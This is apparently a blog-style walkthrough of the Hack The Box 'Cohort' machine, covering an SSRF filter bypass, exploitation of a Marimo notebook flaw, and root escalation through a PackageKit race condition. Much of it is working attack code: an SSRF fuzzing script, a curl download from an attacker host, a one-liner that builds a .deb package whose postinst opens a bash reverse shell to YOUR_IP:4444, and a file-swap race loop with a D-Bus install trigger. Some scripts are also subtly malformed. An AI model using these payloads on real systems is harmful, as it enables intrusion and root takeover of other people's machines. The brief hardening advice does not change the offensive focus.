Listen to this Post

Introduction:
The recent compromise of the “Cohort” machine on Hack The Box (HTB) serves as a masterclass in modern penetration testing, highlighting the critical gap between automated exploitation and manual, surgical attack chains. This walkthrough exposes the gritty reality of bypassing SSRF filters to reach an internal Marimo notebook service (CVE-2026-39987) and the intricate process of exploiting a PackageKit TOCTOU race condition (CVE-2026-41651) for privilege escalation. By dissecting this attack path, cybersecurity professionals can glean essential techniques for handling WebSocket instability, crafting native payloads, and overcoming the systemic failures of relying on pre-compiled binaries.
Learning Objectives & Secrets:
- Objective 1: Master the art of manual WebSocket frame dissection to maintain stable reverse shells when standard exploit scripts fail due to handshake or keep-alive inconsistencies.
- Objective 1 Secret Tips: Use `Wireshark` or `tcpdump` to capture the initial WebSocket upgrade request; replicate the exact `Sec-WebSocket-Key` and `Sec-WebSocket-Accept` calculations in your custom Python socket client to avoid immediate connection termination.
- Objective 2: Bypass corrupted file transfer errors by constructing malicious `.deb` packages natively on the target filesystem using inline Python scripts, circumventing the need for external hosting.
- Objective 2 Secret Tips: Leverage the `python3-apt` library or `dpkg-deb` commands available in base installations to build packages directly, ensuring the `postinst` script contains your reverse shell payload.
- Objective 3: Exploit the PackageKit TOCTOU vulnerability through precise race condition timing, using background processes to swap the package file during verification and installation.
- Objective 3 Secret Tips: Utilize a combination of `inotifywait` (if available) or a tight loop of `stat` checks to monitor file access, triggering the swap exactly when the package checksum is verified but before installation begins.
You Should Know:
1. Bypassing SSRF Filters to Reach Internal Services
Modern applications often implement SSRF protections to block access to internal IPs, but these filters can be circumvented using DNS rebinding, URL parsing inconsistencies, or by leveraging alternative IP representations. In the Cohort machine, the filter was bypassed to access an internal Marimo notebook instance running on port 8000. To test for this, an attacker can use domain rotation services or craft specific hosts headers. A practical approach involves using the following Python script to fuzz for allowed IPs:
import requests
url = "https://target.com/proxy"
payloads = ["http://127.0.0.1:8080", "http://localhost:8080", "http://[::1]:8080", "http://0.0.0.0:8080"]
for p in payloads:
try:
r = requests.get(url, params={"url": p}, timeout=5)
if r.status_code == 200:
print(f"Potential bypass: {p}")
except: pass
This brute-force approach helps identify which internal services are accessible, allowing the attacker to pivot to the vulnerable notebook server.
2. Exploiting CVE-2026-39987 in Marimo Notebook
The Marimo notebook instance was vulnerable to a command injection flaw due to insecure deserialization of notebook cells. While public exploits exist, they often fail due to session handling or WebSocket quirks. To manually exploit this, one must intercept the WebSocket handshake and replicate it in a custom script. Below is a foundational Python snippet for establishing a raw WebSocket connection:
import socket
import base64
import hashlib
import os
def create_websocket_request(host, port, path="/ws"):
key = base64.b64encode(os.urandom(16)).decode('utf-8')
request = f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
return request, key
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("internal_ip", 8000))
req, ws_key = create_websocket_request("internal_ip", 8000)
s.send(req.encode())
response = s.recv(1024)
Validate the accept key here to confirm the handshake
print(response.decode())
Once the WebSocket is stable, you can send crafted messages containing shell commands encoded to bypass the application’s sanitization. If the WebSocket drops, consider implementing a keep-alive mechanism using a simple ping-pong frame handler.
3. Transferring Files and Avoiding Corrupted Binary Issues
The common practice of hosting an exploit binary on a Kali webserver and using `wget` can fail due to firewalls blocking the transfer or the server returning an HTML error page disguised as a 200 OK. In the Cohort machine, a 404 error led to a 335-byte corrupt HTML file instead of the actual binary. To mitigate this, verify the file size and content after transfer using:
wget -q http://your_ip/exploit -O exploit && file exploit
If the file is an HTML page, you should transfer using `base64` encoding to prevent data corruption:
On attacker machine: base64 exploit > exploit.b64 python3 -m http.server 8080 On target machine: curl http://attacker_ip:8080/exploit.b64 | base64 -d > exploit chmod +x exploit
This ensures integrity and bypasses most content filtering.
4. Constructing Malicious .deb Packages with Inline Python
When pre-compiled binaries are unreliable, creating a native package on the target system is a robust alternative. You can use the following one-liner to generate a `.deb` package that executes a reverse shell upon installation:
python3 -c "
import os, subprocess
os.makedirs('exploit/DEBIAN', exist_ok=True)
with open('exploit/DEBIAN/control', 'w') as f: f.write('Package: exploit\nVersion: 1.0\nArchitecture: all\nMaintainer: attacker\nDescription: evil\n')
with open('exploit/DEBIAN/postinst', 'w') as f: f.write('!/bin/bash\nbash -i >& /dev/tcp/YOUR_IP/4444 0>&1\n')
os.chmod('exploit/DEBIAN/postinst', 0o755)
subprocess.run(['dpkg-deb', '--build', 'exploit'])
"
This approach avoids external downloads entirely. The `postinst` script runs as root during installation, providing a reliable privilege escalation vector.
5. Exploiting PackageKit TOCTOU (CVE-2026-41651)
The vulnerability lies in the PackageKit daemon’s handling of package installation, where the file path is checked and later used without verifying that the file hasn’t been swapped. To exploit this, you need to race the verification process. The attack involves two processes: one that continuously copies a legitimate `.deb` file into a watched directory, and another that swaps it with your malicious `.deb` at the exact moment of installation. A practical script for the race condition:
!/bin/bash while true; do cp /tmp/legit.deb /var/cache/packagekit/exploit.deb sleep 0.01 cp /tmp/malicious.deb /var/cache/packagekit/exploit.deb done &
Then, trigger the PackageKit installation via D-Bus:
dbus-send --system --print-reply --dest=org.freedesktop.PackageKit /org/freedesktop/PackageKit org.freedesktop.PackageKit.InstallPackage string:file:///var/cache/packagekit/exploit.deb
By timing this correctly, PackageKit verifies the legitimate file but installs the malicious one, granting a root shell.
6. Securing WebSockets and Mitigating Exploits
From a defensive perspective, this attack highlights the need for secure WebSocket implementations. Developers should enforce strict origin validation, use robust token-based authentication, and implement rate limiting to prevent command injection floods. Additionally, employing a WAF to inspect WebSocket payloads for shell metacharacters can block common exploitation attempts.
7. Hardening PackageKit against TOCTOU
To prevent similar privilege escalation vectors, sysadmins should restrict access to the D-Bus interface and ensure that PackageKit only processes packages from trusted sources. Implementing mandatory access controls (e.g., AppArmor or SELinux) can confine the PackageKit daemon and limit the damage if exploitation occurs. Regular patching and running daemons with the least privilege are also critical.
What Undercode Say:
- Key Takeaway 1: The Cohort machine proves that “script-kiddie” tools are insufficient for modern CTF machines; manual WebSocket manipulation and custom code are essential for success.
- Key Takeaway 2: Creating native payloads (like .deb packages) on the target is often more reliable than transferring pre-compiled binaries, especially in firewalled or monitored environments.
The analysis here underscores a fundamental truth in cybersecurity: automation enhances efficiency but cannot replace deep technical understanding. The attacker had to dissect the WebSocket protocol at the frame level, a task that requires a solid grasp of RFC 6455. Similarly, the PackageKit race condition exploitation demands knowledge of Linux process scheduling and D-Bus internals. For defenders, this means that layered security—combining firewalls, SElinux, and rigorous input validation—is not optional. The future of security testing will likely see a decline in the reliability of generic exploit scripts as services become more stateful and resistant to basic attacks. Consequently, penetration testers must invest time in mastering Python socket programming and Linux system internals to remain effective.
Prediction:
+1 The increasing complexity of CTF challenges like Cohort will drive the demand for advanced training courses focused on manual exploit development and protocol analysis, benefiting the cybersecurity workforce.
+1 This hands-on experience with TOCTOU vulnerabilities encourages developers to adopt safer file-handling mechanisms, potentially leading to patches in widely used package managers like PackageKit and APT.
-1 The reliance on custom payload construction indicates a trend where standard penetration testing tools become obsolete, widening the skill gap between junior and senior security professionals.
-1 As attack vectors grow more intricate, the time required to compromise systems increases, making security audits more expensive and potentially delaying patch cycles in corporate environments.
+1 The detailed dissection of these exploits provides valuable learning material, fostering a community that shares practical knowledge and strengthens overall internet security hygiene.
-1 The specific CVE-2026-41651 vulnerability, if left unpatched in legacy systems, will remain a significant risk for enterprise environments using older Linux distributions, requiring immediate mitigation strategies.
+1 The strategic use of inline Python scripts over external binaries highlights a shift towards living-off-the-land techniques, pushing defenders to monitor process creation and script execution more rigorously.
-1 The successful exploitation of WebSocket-based applications underscores a critical gap in current WAF signatures, suggesting that many organizations remain exposed to similar attack patterns.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: https://lnkd.in/p/euzk22hG – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅



